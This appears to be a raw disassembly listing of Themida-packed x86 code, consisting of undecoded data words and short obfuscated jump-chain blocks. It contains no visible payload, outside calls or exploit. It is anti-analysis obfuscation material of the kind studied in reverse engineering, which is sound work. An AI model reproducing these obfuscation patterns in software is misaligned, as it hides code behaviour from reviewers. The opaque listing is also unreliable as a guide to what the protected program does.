0FEC3FE00h dd 4EC83CBh, 0C773E9h, 815A5E00h, 4ECh, 241C8900h, 40E4E9h db 0 ; --------------------------------------------------------------------------- loc_554E3D: ; CODE XREF: Themida_:005610FFj mov [esp], edi push 4AE9h jmp loc_55E5E9 ; --------------------------------------------------------------------------- loc_554E4A: ; CODE XREF: Themida_:0055CA5Fj push 4CB9h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_557967 ; --------------------------------------------------------------------------- loc_554E65: ; CODE XREF: Themida_:00566BAEj mov ebx, 318525E8h shr ebx, 1 push eax jmp loc_55D1DC ; --------------------------------------------------------------------------- dw 0C181h dd 2, 8B240C87h, 81662424h, 0E9633FEAh, 11231h, 3FFCEB81h dd 0DE01150Ah, 286DE9h, 0E9596600h, 0E5C6h, 240C335Ah dd 33240C31h, 248B240Ch, 24D36624h, 0F2E99C24h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554EB3: ; CODE XREF: Themida_:0055B147j not eax sub eax, 67835F3Fh push eax jmp loc_5572F6 ; --------------------------------------------------------------------------- loc_554EC0: ; CODE XREF: Themida_:0055EF35j mov edx, esp jmp loc_563A8B ; --------------------------------------------------------------------------- db 0BBh dd 22016C39h, 0E95BDA29h, 53E1h ; --------------------------------------------------------------------------- loc_554ED4: ; CODE XREF: Themida_:0055A3FEj add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_5626E5 ; --------------------------------------------------------------------------- dd 42474FFh, 9220E95Bh, 815B0000h, 9671DBC6h, 3D2EE94Eh dd 0E9550001h, 133C7h, 0D5F7E987h, 818FE9h, 0C5F68100h dd 55582463h, 10BF3E9h, 0B6B8BF00h, 0F82991A5h, 46ED815Fh dd 0E96E5557h, 1D1Dh, 0E952CB29h, 744Eh, 0E9240C33h, 31DAh dd 5324048Bh, 0BE9E389h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554F47: ; CODE XREF: Themida_:005575A2j xor cl, 2 add cl, 75h mov bl, cl pop ecx jmp loc_554AB6 ; --------------------------------------------------------------------------- aY3Seu db 'Y3,$é…“',0 align 2 loc_554F5E: ; CODE XREF: Themida_:0055EA33j sub ebp, 0AF5FA8D5h add eax, ebp pop ebp jmp loc_554703 ; --------------------------------------------------------------------------- dd 25E9805Bh, 66A9C980h, 2842B753h, 421DE9F9h, 8F540000h dd 4832404h, 48F0424h, 24048324h, 240C8B04h, 4C481h, 0C1810000h dd 4, 4BA52h, 0D1010000h, 240C875Ah, 40EEE9h db 0 ; --------------------------------------------------------------------------- loc_554FAD: ; CODE XREF: Themida_:00566658j mov ebx, 4 add edi, ebx pop ebx jmp loc_56165F ; --------------------------------------------------------------------------- dw 34FFh dd 0EC835824h, 24048904h, 4EC81h, 24890000h, 24048124h dd 4, 8124048Bh, 4C4h, 27F8E900h, 525D0000h, 0C281E289h dd 4, 8704C283h, 505C2414h, 8B650EB8h, 0F797976Eh, 0EC8397D0h dd 24048904h, 3C8B5857h, 4C48324h, 1223FE9h db 0 ; --------------------------------------------------------------------------- loc_555011: ; CODE XREF: Themida_:00563931j sub dword ptr [esp], 86113E1h push ecx mov ecx, 5A170BC7h sub [esp+4], ecx pop ecx add dword ptr [esp], 40D04C82h jmp loc_5530A5 ; --------------------------------------------------------------------------- db 5Bh dd 48BC331h, 0E1895124h, 4C181h, 23E90000h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555043: ; CODE XREF: Themida_:005597AAj add esp, 4 jmp loc_567FE5 ; --------------------------------------------------------------------------- loc_55504E: ; CODE XREF: Themida_:005607E5j pop ebx pop dword ptr [esp] pop esp mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_557CEA ; --------------------------------------------------------------------------- db 0D3h dd 0E99C242Ch, 0FFFFE039h, 3027E6BBh, 7EBC142h, 8105EBC1h dd 7955C6C3h, 0BDEB8114h, 1A1E9E8h, 0C8015BD9h, 2A36E959h dd 0EB810001h, 29295A25h, 0E92434FFh, 11B45h, 7103C781h dd 0EF810061h, 47AA7603h, 0FFE165E9h, 98E981FFh, 81757025h dd 37091AE9h, 70BE970h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5550BE: ; CODE XREF: Themida_:0055C40Dj add esp, 4 jmp loc_553EF8 ; --------------------------------------------------------------------------- loc_5550C6: ; CODE XREF: Themida_:00568A6Dj add edx, ebx pop ebx mov eax, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 0 push esi mov esi, 57A3609Dh add ebx, esi pop esi add ebx, edx sub ebx, 57A3609Dh push 1091h mov [esp], ecx mov cl, al mov [ebx], cl pop ecx jmp loc_5665DA ; --------------------------------------------------------------------------- db 0B8h dd 13D76677h, 11085E9h db 0 ; --------------------------------------------------------------------------- loc_55510D: ; CODE XREF: Themida_:00563370j mov edx, [esp] add esp, 4 pop edi xor edx, 54B506C5h jmp loc_55F26B ; --------------------------------------------------------------------------- dw 3489h dd 0EC815124h, 4, 0BB241C89h, 34BB181Ah, 0F6E9D989h db 0D3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55513B: ; CODE XREF: Themida_:0055A9BDj sub eax, esi pop esi add eax, edi add eax, 1646797Eh mov edi, [esp] add esp, 4 or [edi+1Ch], eax jmp loc_56869A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 32E2E9h, 0D0285B00h, 742C5A66h, 11C6E9h, 5BC18100h dd 5D6BF34Eh, 4CB2BB53h, 504B7BBAh, 700BC5B8h, 58C33164h dd 0BE56EBD1h, 3D4F716Fh, 0E7E9D6F7h, 810000B0h, 7064C8C2h dd 0D789576Bh, 8B5FFE89h, 0C4832414h, 81D6F704h, 242781E6h dd 42EE8126h, 8154CF5Dh, 0FFFFFFEEh, 0C29E9FFh, 89680001h dd 89000010h, 0F3BE2434h, 0F7062C48h, 11C681DEh, 816D706Fh dd 2EF117C6h, 5EF789D9h, 81E18951h, 4C1h, 4E98100h, 87000000h dd 53E9240Ch db 0BCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5551F3: ; CODE XREF: Themida_:0055DAB6j mov ebx, ebp pop ebp jmp loc_55F05A ; --------------------------------------------------------------------------- loc_5551FB: ; CODE XREF: Themida_:00557017j mov [esp], ecx jmp loc_562B32 ; --------------------------------------------------------------------------- dd offset dword_457444+1773Ch db 0F3h dd 8B68E9h, 5EF32900h, 0E3FFE957h, 0C481FFFFh, 4, 8904EC83h dd 21E92404h, 900010Bh, 2434FFF5h, 4C4815Eh, 0E9000000h dd 0F4A2h, 8904EC83h, 0BCB02404h, 48BC288h, 0BBC5E924h dd 0DE290000h, 83241C8Bh, 0CBE904C4h, 5000124h, 62D10CCDh dd 158C701h, 243C8BF8h, 0EC0DE9h, 30E95900h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55526F: ; CODE XREF: Themida_:0055DCA3j add edi, 4 push 3F12h mov [esp], esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] jmp loc_56436B ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 6B485A04h, 3CC3E963h, 248B0000h, 2466E924h, 34FF0001h dd 89565A24h, 4C681E6h, 81000000h, 4C6h, 24348700h, 0E924248Bh dd 0FFFFDDE5h ; --------------------------------------------------------------------------- loc_5552C0: ; CODE XREF: Themida_:00565FA7j mov esp, [esp] push ebp jmp loc_564136 ; --------------------------------------------------------------------------- db 81h, 0C6h, 0E5h dd 8175975Fh, 70BE20EEh, 2474017Eh, 2434FF04h, 4C4835Eh dd 95C1E9h, 4C48300h, 0C48BE9h, 5EF22900h, 0C281DA01h dd 7A77286Ah, 0FCBE9h, 4C48100h, 81000000h, 494808F1h dd 0C8315A44h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_568CF2 ; --------------------------------------------------------------------------- loc_555317: ; CODE XREF: Themida_:0055B197j add esp, 4 shr ecx, 6 push ebx push dword ptr [esp] pop eax jmp loc_564616 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 0FFFFF778h, 51B8BFh, 0E9F82973h dd 0A087h, 0C981D9F7h, 40CC28B1h, 39F7F181h, 0CA0166CFh dd 0D158E9h, 241C8700h, 46A768h, 241C8900h, 0A592E9h, 20E94A00h dd 5B000008h, 0FFFFED81h, 5CE9FFFFh, 52000017h, 7D347ABAh dd 0E9D1094Bh, 105D2h, 8124148Bh, 4C4h, 0D7B95100h, 535AD668h dd 0DFECE9h, 61CF8100h, 0E96D7A5Ch, 11264h ; --------------------------------------------------------------------------- loc_5553A8: ; CODE XREF: Themida_:005685F1j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], edx push esi push 6A9A51D1h pop esi push edx mov edx, 39BD1588h xor esi, edx pop edx shr esi, 7 jmp loc_5647D9 ; --------------------------------------------------------------------------- loc_5553CF: ; CODE XREF: Themida_:0055CD50j push ebp jmp loc_55A646 ; --------------------------------------------------------------------------- db 5Ch, 89h, 24h dd 24048324h, 50E95804h db 2Dh, 1, 0 ; --------------------------------------------------------------------------- loc_5553E3: ; CODE XREF: Themida_:00560E0Aj push 1998h jmp loc_557EC1 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0EDh dd 16F14291h, 0D3D9E9h, 0E9CB2900h, 50EEh, 83241C8Bh, 0B55104C4h dd 8FED8055h, 9E66E9h db 0 ; --------------------------------------------------------------------------- loc_555411: ; CODE XREF: Themida_:00561854j mov edi, ebx mov ecx, edi pop edi pop ebx add ebp, 1DEA3A7Eh jmp loc_56806A ; --------------------------------------------------------------------------- dw 7EE9h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555427: ; CODE XREF: Themida_:0055DABDj add ch, bl pop bx add dh, ch mov ecx, [esp] add esp, 4 jmp loc_553A52 ; --------------------------------------------------------------------------- db 83h dd 348704EEh, 24248B24h, 50240C89h, 90685552h, 5D612414h dd 148CED81h, 0EA896124h, 5AD0895Dh, 0E958C189h, 12A60h ; --------------------------------------------------------------------------- loc_555464: ; CODE XREF: Themida_:00567643j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg ebx, [esp] pop esp loc_555478: ; CODE XREF: Themida_:loc_55AF3Bj push 2A83h mov [esp], ebx push eax mov eax, 242D1DACh add dword ptr [esp+4], 6521344Eh sub [esp+4], eax sub dword ptr [esp+4], 6521344Eh mov eax, [esp] push edi jmp loc_56618B ; --------------------------------------------------------------------------- loc_5554A3: ; CODE XREF: Themida_:00561708j mov esp, [esp] jmp loc_563684 ; --------------------------------------------------------------------------- db 83h dd 0E80104C4h, 4E8835Dh, 2474FF50h, 48F5804h, 4895C24h dd 0DFD9E924h, 0C800FFFFh, 4059E9h, 48B6600h, 4EC8324h dd 83241489h, 248904ECh, 24048324h, 0D2E95A04h, 31000073h dd 0C33240Ch, 0BA525C24h, 4, 0A3E9D601h, 2D0000C4h, 4 dd 0E9240487h, 39E5h ; --------------------------------------------------------------------------- loc_555508: ; CODE XREF: Themida_:00561C43j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edx, eax jmp loc_5673FB ; --------------------------------------------------------------------------- dw 15Bh dd 8104246Ch, 71042444h, 8B620810h, 91E9242Ch, 0F7000124h dd 0E9EAD1DAh, 0ECC7h, 2AB15166h, 4AE9CF08h, 81FFFFF9h dd 0FB2B10EDh, 0D73FE92Ch, 590000h, 0F68058C6h, 0FFF00035h dd 515A2434h, 0D845E9h, 5ECC000h, 130D5E9h, 4EC8300h, 0FF243C89h dd 0E9042474h, 4EC6h ; --------------------------------------------------------------------------- loc_555580: ; CODE XREF: Themida_:00558FF8j sub eax, 45B29B3h jmp loc_5560D8 ; --------------------------------------------------------------------------- aAxA db '€å',1Bh,'€Å',0Dh,0 db 0EBh, 59h, 80h dd 0C380B6EBh, 515358F8h, 0DF68C588h, 8900000Dh, 0E8882404h dd 48BC388h, 4C48124h, 8B000000h, 0E952240Ch, 0CDFFh, 8704C583h dd 98E9242Ch db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5555C7: ; CODE XREF: Themida_:00564141j mov [esp], ebp push ebx push dword ptr [esp] jmp loc_55D013 ; --------------------------------------------------------------------------- db 86h dd 0E95066C1h, 12A2Eh, 2664E950h, 0B60F0000h, 8734FFC0h dd 0FFF520E9h, 4C483FFh, 34FFD329h, 0BE87E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5555FA: ; CODE XREF: Themida_:00561420j add edi, eax pop eax add edi, esi push ebp mov ebp, 467E25CAh jmp loc_5651B8 ; --------------------------------------------------------------------------- dw 0F381h dd 2065883h, 0E95BD901h, 24Bh, 985E781h, 0BB536FC6h, 43DA62B0h dd 44C4B951h, 0CB217E9Eh, 4E3C159h, 52A3F381h, 0DF3119C0h dd 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 8B58243Ch, 0E955243Ch dd 134h, 8124048Bh, 4C4h, 0E9D82900h, 485h, 2A47EB81h dd 0C8B03ECh, 4C48124h, 53000000h, 42474FFh, 24048F5Bh dd 0FFF292E9h, 241C33FFh, 33241C31h, 248B241Ch, 240C3324h dd 0C9F4E9h, 3E8C100h, 3A7B240Dh, 37E9482Bh, 5DFFFFEFh dd 348BF201h, 4C48124h, 1000000h, 0FBBF57CAh, 2916A374h dd 243C8BFAh, 0E904C483h, 10F0Ah, 0D9C9EA81h, 0D52918F3h dd 1ED815Ah, 0E9000000h, 10A3Bh, 582434FFh, 524EE9h, 77216800h dd 0C890000h, 0C2685524h, 89000030h, 0BEB9240Ch, 0E95DCA59h dd 7C55h, 0E9D3F65Ah, 4F80h, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 32E9243Ch, 8F00001Bh, 248B2404h, 24148924h dd 41926853h, 2C890000h, 7BA9BD24h, 4D4D6514h, 8106EDC1h dd 0EA4178EDh, 31D5312Ah, 42D531EAh, 4599E9h db 0 ; --------------------------------------------------------------------------- loc_555749: ; CODE XREF: Themida_:005678EAj push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 jmp loc_56551F ; --------------------------------------------------------------------------- loc_55575B: ; CODE XREF: Themida_:0056376Ej mov ebp, 2E0D007Ch push eax mov eax, 50CB3128h add eax, 1973F10Dh or ebp, eax pop eax or ebp, 7AF066D2h dec ebp xor ebp, 9D34A44h sub ebp, 772C2CB6h add ebx, ebp jmp loc_5659D3 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4C581h, 2C870000h, 1D30E924h, 8F660000h dd 0E0D0E902h, 0BB530000h, 29F320C4h, 4DEDCB81h, 814B2377h dd 0A7044AE3h, 3EBC16Ch, 0CFB7EB81h, 0DE018AB0h, 10353E9h dd 0C875E00h, 2C895C24h, 53E58924h, 4BBh, 5BDD0100h, 0E769E9h dd 21956800h, 14890000h, 0E1D3E924h, 0D6F70000h, 33E9h dd 2CD80000h, 0D6B35311h, 1C8BD800h, 5E545624h, 4C681h dd 0C6810000h, 4, 2474FF56h, 0D1E95E04h, 68000038h, 7C72h dd 0E9242C89h, 15D7h, 376CEE81h, 0BD5516DDh, 6F897624h dd 27F8F581h, 0E5812AE7h, 68D00007h, 0B850D5F7h, 1D8D2300h dd 33A68h, 24048900h, 0E92414F7h, 1604h, 32BE685Eh, 0DE90000h dd 330000EDh, 0C31240Ch, 240C3324h, 2434FF5Ch, 0FF2434FFh dd 83592434h, 3C8904ECh, 81E78924h, 4C7h, 4C78300h, 0E9243C87h dd 0E746h ; --------------------------------------------------------------------------- loc_555890: ; CODE XREF: Themida_:00561BF5j mov eax, esp push edx mov edx, 49A85DF8h add edx, 1670B59h jmp loc_56198B ; --------------------------------------------------------------------------- aSb db ']é¡<',0 dd 0E9D80000h, 0A3F6h, 0EFC1DFF7h, 6E7C107h, 0C781DFF7h dd 66CF7FC4h, 875FF929h, 895C240Ch, 0D6E92404h, 0ADFFFFD7h dd 8B95156h, 0E95D572Ch, 0E326h, 2EC5E955h, 248B0001h dd 41F1E924h, 0C1810000h, 8F8B1722h, 5359CE89h, 3233A0BBh dd 6DCB8166h, 4B649651h, 0C105EBC1h, 0D3F703EBh, 0CB93C381h dd 0DE0937D3h, 0D1D6F75Bh, 0BD554EE6h, 577C26F1h, 95E9DDF7h dd 5200006Ch, 8B2414F7h, 0C4832414h, 4EC8104h, 89000000h dd 56E9243Ch, 89000130h, 4832414h, 565AFF24h, 0EBC5E9h db 0 ; --------------------------------------------------------------------------- loc_555949: ; CODE XREF: Themida_:0055FAB8j push dword ptr [esp] jmp loc_562A42 ; --------------------------------------------------------------------------- loc_555951: ; CODE XREF: Themida_:00561E66j add eax, ebx pop ebx xchg eax, [esp] jmp loc_55C84C ; --------------------------------------------------------------------------- loc_55595C: ; CODE XREF: Themida_:005598E2j push esi mov esi, 5D62D49h jmp loc_560C12 ; --------------------------------------------------------------------------- db 0BBh dd 73568C9h, 11252E9h db 0 ; --------------------------------------------------------------------------- loc_555971: ; CODE XREF: Themida_:005679EAj sub ebp, 6751321Dh pop eax jmp loc_56368E ; --------------------------------------------------------------------------- db 58h, 1, 0C3h dd 89C38158h, 294AFE09h, 4EC83C3h, 0B9240C89h, 4B5B4A00h dd 6BBC68h, 240C8900h, 592414F7h, 3F6E941h, 0C4830000h dd 0E9EF8104h, 101B476h, 0E9C781F7h, 5301B476h, 0E11F33BBh dd 4FE9502Dh, 6600001Bh, 81240C8Bh, 4ECh, 243C8900h, 0E955E789h dd 0DF9Ah, 0E9C6815Fh, 11AE16Bh, 0E9BF57EEh, 0E91AE16Bh dd 0FD58h, 515EF101h, 6065F2B9h, 59CE0122h, 0EE81CE01h dd 226065F2h, 0C428E9h, 0EF815B00h, 4, 5C243C87h, 0E9242489h dd 0B36Bh ; --------------------------------------------------------------------------- loc_555A18: ; CODE XREF: Themida_:00566787j mov [esp], ebp jmp loc_559266 ; --------------------------------------------------------------------------- loc_555A20: ; CODE XREF: Themida_:0055EB97j pop esi inc esi sub esi, 462FF8B8h push esi jmp loc_5540B4 ; --------------------------------------------------------------------------- loc_555A2E: ; CODE XREF: Themida_:005670A2j pop eax neg esi xor esi, 9FB500EFh mov edx, esi mov esi, [esp] add esp, 4 sub ecx, 6DAD6571h sub ecx, 626C45D0h sub ecx, edx add ecx, 626C45D0h push esi jmp loc_557851 ; --------------------------------------------------------------------------- dd 1B27E950h db 1, 0 ; --------------------------------------------------------------------------- loc_555A62: ; CODE XREF: Themida_:005658B4j push 6AA7h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5541E4 ; --------------------------------------------------------------------------- loc_555A74: ; CODE XREF: Themida_:0055926Bj xor ebp, 5714316Dh jmp loc_553E60 ; --------------------------------------------------------------------------- db 81h dd 0CCBFDAC3h, 0E9DF21AFh, 1316h ; --------------------------------------------------------------------------- loc_555A8C: ; CODE XREF: Themida_:0055994Fj sub esp, 4 mov [esp], edi push esp pop edi push 5B5Ah mov [esp], ebx jmp loc_55624B ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0FFE87CE9h db 0FFh ; --------------------------------------------------------------------------- loc_555AA9: ; CODE XREF: Themida_:005562C3j add edi, eax jmp loc_5668AA ; --------------------------------------------------------------------------- dd 24148B5Ch, 72EB6852h, 8F540000h, 0BB532404h, 4, 4245C01h dd 0C138E9h, 2C78100h, 33000000h, 3C31243Ch, 243C3324h dd 6624248Bh, 5124048Bh, 0DB54E9h, 241C8B00h, 4C481h, 4C2D0000h dd 52469F3Ah, 5A3EE9h, 244C0000h, 0C7C4E902h, 0E95C0000h dd 12258h, 0E9E9D7F7h, 5F00012Ch, 0EB2FE9h db 0 ; --------------------------------------------------------------------------- loc_555B19: ; CODE XREF: Themida_:0056224Cj mov [esp], ebx mov ebx, esp jmp loc_5571B1 ; --------------------------------------------------------------------------- loc_555B23: ; CODE XREF: Themida_:00559718j mov esp, [esp] push 4A16h mov [esp], esi jmp loc_55A582 ; --------------------------------------------------------------------------- db 86h dd 6E4C0DCh, 7B55166h, 1228E9h, 0F1815800h, 960E7F34h dd 580CEB81h, 0CB2952E3h, 580CC381h, 0C8B52E3h, 4C48324h dd 1000FE9h db 0 ; --------------------------------------------------------------------------- loc_555B61: ; CODE XREF: Themida_:005668CEj sub ebp, 65F74B4Ch xor ebp, 1FAB5AAEh push ecx mov ecx, 50EA33D5h add ebp, ecx pop ecx push ebp push ebx pop ebp jmp loc_557130 ; --------------------------------------------------------------------------- loc_555B7E: ; CODE XREF: Themida_:0056896Cj add dword ptr [esp], 2BC82282h push dword ptr [esp] pop ecx push edx jmp loc_55E686 ; --------------------------------------------------------------------------- db 42h dd 8379EA81h, 0D101706Ch, 8E9C15Ah, 5C9FE9h, 24048B00h dd 96268h, 241C8900h, 241C8B54h, 5204C483h, 0D02025BAh dd 45CA814Eh, 0E9184919h, 0FFFFFD5Fh ; --------------------------------------------------------------------------- loc_555BC4: ; CODE XREF: Themida_:0055E7CDj mov ebx, esi pop esi or esi, ebx push dword ptr [esp] pop ebx jmp loc_56275B ; --------------------------------------------------------------------------- loc_555BD2: ; CODE XREF: Themida_:0055A98Aj mov ecx, 12ED1607h and eax, ecx jmp loc_55B1B7 ; --------------------------------------------------------------------------- aXS db 'X(Ø[é¹ê',0 db 0 ; --------------------------------------------------------------------------- loc_555BE7: ; CODE XREF: Themida_:00558DA9j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_55CA16 ; --------------------------------------------------------------------------- loc_555BF6: ; CODE XREF: Themida_:00554151j mov ch, dh pop edx pop eax add dh, ch mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add al, 9 sub al, dh sub al, 9 jmp loc_557C9A ; --------------------------------------------------------------------------- loc_555C1A: ; CODE XREF: Themida_:005648CEj mov [esp], eax jmp loc_56301D ; --------------------------------------------------------------------------- db 53h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5606F5 ; --------------------------------------------------------------------------- db 0FFh dd 148B2434h, 0CCD3E924h, 522C0000h, 0F8E9E800h, 550000B5h dd 4BDh, 6AEA8100h, 297BD73Ah, 6AC281EAh, 0E97BD73Ah, 0FFFFEF25h dd 4C481h, 3BE90000h, 0BD0000A8h, 33337596h, 0B5DDE9h db 0 ; --------------------------------------------------------------------------- loc_555C6D: ; CODE XREF: Themida_:00560816j pop ecx push edx push edi mov edi, 30CB6339h xor edi, 0DF47DC3h push eax mov eax, 155B247Ah add edi, eax mov eax, [esp] add esp, 4 mov edx, edi pop edi sub edx, 24687648h shr edx, 8 push esi jmp loc_558030 ; --------------------------------------------------------------------------- dw 0C683h dd 24348704h, 0E189515Ch, 4C181h, 1CE90000h, 890000BCh dd 0CFE92414h, 8800005Dh, 88505BFDh, 58E788ECh, 0A76DE9h dd 686800h, 4890000h, 0E3895324h, 0E81DE9h, 0FBEA8100h dd 0E950377Ah, 0ECBBh ; --------------------------------------------------------------------------- loc_555CE4: ; CODE XREF: Themida_:00563CC8j push esi mov esi, 4 add edx, esi pop esi jmp loc_568A04 ; --------------------------------------------------------------------------- loc_555CF2: ; CODE XREF: Themida_:00568856j add esp, 4 sub eax, ebp jmp loc_562F63 ; --------------------------------------------------------------------------- dd 0C672C868h, 24148B4Dh, 0E904C483h, 45E2h ; --------------------------------------------------------------------------- loc_555D0C: ; CODE XREF: Themida_:0055AC46j push 791Ah mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_55C2B6 ; --------------------------------------------------------------------------- dd 0F705E0C1h, 1C5FE9D0h, 0E9010001h, 0CACCE9h db 0 ; --------------------------------------------------------------------------- loc_555D35: ; CODE XREF: Themida_:00554B69j sub edx, 0C32DF6h push ebx mov ebx, 37E626FFh jmp loc_56522B ; --------------------------------------------------------------------------- dw 2D5Ah dd 74E67BBFh, 42D5Fh, 0CD680000h, 89000012h, 74FF2404h dd 48B0424h, 4C48324h, 0E924048Fh, 103D6h ; --------------------------------------------------------------------------- loc_555D6C: ; CODE XREF: Themida_:00557A74j pop esp mov [esp], edx sub esp, 4 mov [esp], edi mov edi, 161A3BF5h add [esp+4], edi pop edi push dword ptr [esp] pop ebp jmp loc_561BA6 ; --------------------------------------------------------------------------- a_gQs db '_GÑïé',0Bh,'È',0 dd 0E9F82800h, 0B1F8h, 2857BE56h, 0EEC12F84h, 8693E905h dd 66640000h, 6866028Bh, 896620E8h, 0EAE92404h, 1FFFFD2h dd 0D6C781D7h, 0E940FB3Eh, 3D0h, 4BE9EE81h, 0DE01153Eh dd 4BE9BB53h, 8DE9153Eh db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555DDB: ; CODE XREF: Themida_:005595B3j mov edx, ebx pop ebx sub eax, edx pop edx add eax, edx add eax, 576D5EE1h pop edx push 3F2Eh mov [esp], eax push 21C0h mov [esp], ebp mov ebp, 10h mov eax, ebp pop ebp and ebx, eax push dword ptr [esp] jmp loc_558C65 ; --------------------------------------------------------------------------- loc_555E0B: ; CODE XREF: Themida_:005632F0j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_553B8E ; --------------------------------------------------------------------------- loc_555E21: ; CODE XREF: Themida_:0055BDAAj shl ecx, 5 jmp loc_55F01B ; --------------------------------------------------------------------------- loc_555E29: ; CODE XREF: Themida_:00561475j mov ecx, [esp] add esp, 4 sub al, bl push edx mov dh, 0B1h add al, 17h sub al, dh sub al, 17h pop edx push ebx push eax jmp loc_55A82B ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 1000000h, 242C8BE9h, 8104C483h, 4E9h, 74FF5100h, 8F590424h dd 0E95C2404h, 1090Ah ; --------------------------------------------------------------------------- loc_555E68: ; CODE XREF: Themida_:0055F261j mov edx, 3EB21DFAh sub edx, 2E7B0594h and edx, 705333A4h and edx, 2A716391h jmp loc_55CC1A ; --------------------------------------------------------------------------- aSss db 'SéSÖ',0 align 2 dw 0C483h dd 24048F04h, 0A797E9h db 0 ; --------------------------------------------------------------------------- loc_555E95: ; CODE XREF: Themida_:0055FB0Aj push eax push 6B76h mov [esp], ebx mov ebx, 43EC689Bh push eax mov eax, 1804719Bh xor ebx, eax mov eax, [esp] add esp, 4 jmp loc_565324 ; --------------------------------------------------------------------------- dw 0BA52h dd 47B749B0h, 815AD329h, 1A2CF1C3h, 11EB816Bh, 0E9153D52h dd 0FFFFFBAFh, 800BB353h, 0DBF6FFC3h, 51F6EB80h, 84E9D988h dd 81000115h, 4C4h, 0C7805800h, 1D65E9FFh db 1, 0 ; --------------------------------------------------------------------------- loc_555EF2: ; CODE XREF: Themida_:005560D9j mov edi, 0DF6009Eh jmp loc_560661 ; --------------------------------------------------------------------------- dd 5FA2F781h, 4CE9137Ch db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555F07: ; CODE XREF: Themida_:00567516j or edi, 7C6C3070h add edi, 0FFFFFFFFh jmp loc_55C550 ; --------------------------------------------------------------------------- loc_555F15: ; CODE XREF: Themida_:0055342Aj mov edi, [esp] add esp, 4 pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_565AD2 ; --------------------------------------------------------------------------- loc_555F38: ; CODE XREF: Themida_:0055FE98j mov ecx, [esp] jmp loc_557792 ; --------------------------------------------------------------------------- dd 233ABE56h, 0EE814FBAh, 401B1B18h, 476EE681h, 0C6814742h dd 14994C13h, 295EF029h, 4C3505D8h, 0BD551B9Bh, 4BEF6365h dd 0FA57372Dh, 341D0522h, 0A2E938FCh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555F77: ; CODE XREF: Themida_:0055B6CCj pop ecx push ebp push 748E2D06h jmp loc_563104 ; --------------------------------------------------------------------------- loc_555F83: ; CODE XREF: Themida_:0056287Bj or eax, esi mov esi, [esp] jmp loc_566829 ; --------------------------------------------------------------------------- loc_555F8D: ; CODE XREF: Themida_:00564ED0j pop esp mov [esp], eax mov eax, esp jmp loc_558A79 ; --------------------------------------------------------------------------- loc_555F98: ; CODE XREF: Themida_:0055E395j push ebp push ebx mov ebx, 48753E65h mov ebp, ebx pop ebx push ebx jmp loc_553B2F ; --------------------------------------------------------------------------- loc_555FA8: ; CODE XREF: Themida_:00554079j pop ebx add ecx, 4 xchg ecx, [esp] jmp loc_55F73D ; --------------------------------------------------------------------------- loc_555FB4: ; CODE XREF: Themida_:00568318j add eax, 589648F6h jmp loc_561D97 ; --------------------------------------------------------------------------- dw 0EB80h dd 8BD82801h, 0C481241Ch, 4, 80D2B652h, 6FE9B2E6h, 4FFFFFDDh dd 1D75C781h, 37E92B09h, 100006Dh, 93C181D1h, 8B4B1277h dd 0C4832414h, 477A6804h, 65E90000h, 0BD000003h, 25CD0857h dd 895D5E55h, 0CAE95EF3h, 0F70000C6h, 49B951DBh, 10D4C5Dh dd 0D98959CBh, 0D4F0E9h, 0F6C18600h, 0F5ADE9D0h, 0AEBDFFFFh dd 0E95C9E35h, 53C4h, 3756F681h, 0F7013270h, 0E44CE9h dd 24042900h, 568D0D58h, 0B0E957E3h, 87FFFFD0h, 2FE92434h dd 33FFFFD1h, 248B2404h, 57166824h, 0C890000h, 0CC685524h dd 5D248D14h, 46A1ED81h, 0F581701Ah, 0B472CE2Ah, 0E95DE989h dd 0FFFFF665h, 0FFC0B60Fh, 34FF8734h, 89505824h, 405E0h dd 0EDE90000h, 660000A3h, 57240C8Bh, 0FC68E789h, 8900003Bh dd 3DBD242Ch, 4520784Ch, 1251DE9h, 0E9C62100h, 12C4h, 4BE56h dd 0C1810000h, 528B456Ah, 0E981F101h, 528B456Ah, 989CE95Eh dd 8B660000h, 0E953240Ch, 5A4Eh ; --------------------------------------------------------------------------- loc_5560D8: ; CODE XREF: Themida_:00555585j push edi 